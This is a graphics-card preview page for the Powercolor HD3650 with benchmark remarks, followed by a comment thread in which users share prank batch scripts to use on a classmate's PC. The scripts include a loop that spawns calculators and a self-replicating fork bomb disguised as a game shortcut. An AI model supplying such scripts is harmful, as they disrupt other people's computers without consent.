Powercolor HD3650 Extreme PCS performance preview and pictures

Performance preview

3DMark scores and initial benchmarks
 
I thought you'd appreciate some performance indicators before the full review comes out, so here's a couple:
 
3DMark05
 
3dmark05
 
3DMark06
 
3dmark06
 
Game Tests
 
Both games were played at 1368 x 768. F.E.A.R. had 2 x AA and 2 x FSAA and UT3 had max in-game settings enabled.
 
F.E.A.R.
 
FEAR
 
Unreal Tournament 3
 
UT3
 
Performance looks pretty decent, coming very close to the 8600 GT, although one does wonder if it's not worth spending a little extra and picking up an HD3850.
 
However, for those wanting a card that represents awesome value at around the £50 mark and has DX10...this is the pick of the bunch. It must also be said that with the fantastic power consumption savings also making the chips run cooler, AMD is looking to corner the small form factor market as well.
 
Willing to splash some spare cash on the HD3650 or perhaps that media centre looks like it needs beefing up? Tell us all about it in the Forums.
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Most Recent Comments

21-01-2008, 09:27:05

Varuna
I need a few ideas to create a batch file for this lad in my class, he's being a real a-hole and we want to make a batch file for him...any ideas?
nothing malitious though just for a joke, cruel joke.
I'll probably need help writing it aswell ^_^

21-01-2008, 09:48:21

Jim
:MUHAHA
calc.exe
GOTO MUHAHA



^Start a million calculators on his PC. BTW You didn't get this from me and I accept no responsibility for its usage :p

21-01-2008, 09:49:55

Hyper
I am so tempted to try this myself on a few college mates.

21-01-2008, 10:29:10

mrapoc
We already did one to a mate...we made a Counter-Strike shortcut which was actually a batch file which looped cmd windows :p

Reboot time xD

21-01-2008, 10:29:13

Varuna
meh calc isnt bad but I want something a bit better....
On a side note we were making a CS 1.6 LAN event and our mate said 'should we make a ping limit' LOL
This is the one apoc is on about

:loop
start joke.bat
Goto loop

Save as joke.bat

21-01-2008, 10:31:09

mrapoc
I dont think the shutdown command works in college. Perhaps make a batch that launches a batch that launches another and so on, all of which looping a different program...not strong enough to crash but anoying so that they sit back crying?
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